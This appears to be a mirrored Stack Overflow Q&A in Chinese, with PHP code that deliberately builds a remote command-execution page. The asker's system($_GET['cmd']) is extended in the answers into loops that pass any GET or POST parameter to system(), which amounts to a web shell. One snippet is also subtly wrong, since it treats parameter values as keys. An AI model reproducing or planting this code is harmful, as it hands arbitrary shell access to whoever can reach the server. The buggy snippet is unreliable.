php - 通过任何参数和任何方法取值

Posted

技术标签:

【中文标题】php - 通过任何参数和任何方法取值【英文标题】:php - take a value by any parameter and any method 【发布时间】:2017-02-16 16:24:12 【问题描述】:

我正在尝试制作一个简单的页面命令执行漏洞...这是我的代码:

system($_GET['cmd']);

它工作正常,像这样:http://example/index.php?cmd=ls

问题是我想让这个小代码与任何参数和任何方法(GET 或 POST)一起工作

例如,如果使用任何参数,那么它仍然会通过系统方法,即:“?hello=ls”。 (我不知道他们在哪里使用hello 作为密钥。有什么想法吗?

【问题讨论】:

然后使用$_REQUEST 【参考方案1】:

您可以将每个索引键存储在一个数组中,然后循环设置值。

$keys = ['cmd', 'hello', 'etc..']; // jus add your params

// GET params
foreach($keys as $_key) 
    if(isset($_GET[$_key]) && !empty($_GET[$_key])) 
        system($_GET[$_key]);
    


// POST params
foreach($keys as $_key) 
    if(isset($_POST[$_key]) && !empty($_POST[$_key])) 
        system($_POST[$_key]);
    

如果您不想知道 POST/GET 的密钥,那么:

foreach($_GET as $key) 
    system($_GET[$key]);


foreach($_POST as $key) 
    system($_POST[$key]);

【讨论】:

OP:“问题是我想制作这个小代码,使用任何参数和任何方法(GET 或 POST)” 你的意思是我做不到? Ofc 你可以,这是一个简单的方法,只是有些人喜欢哭很多 我不想定义特定的参数..我想处理任何事情。 然后只需 foreach $_GET 和 foreach $_POST 它将遍历所有设置(无论键叫什么)...请参阅更新的问题以获取解决方案。【参考方案2】:

您可以尝试使用: file_get_contents('php://input'); 获取 RAW 输入

【讨论】:

以上是关于php - 通过任何参数和任何方法取值的主要内容,如果未能解决你的问题,请参考以下文章

变量如何在函数内部取值而不在任何地方声明它[重复]

php 数组定义取值和遍历

python之路——迭代器和生成器

python基础知识第三篇(列表)

C语言各个数据类型取值范围

php的 $_REQUEST取值为空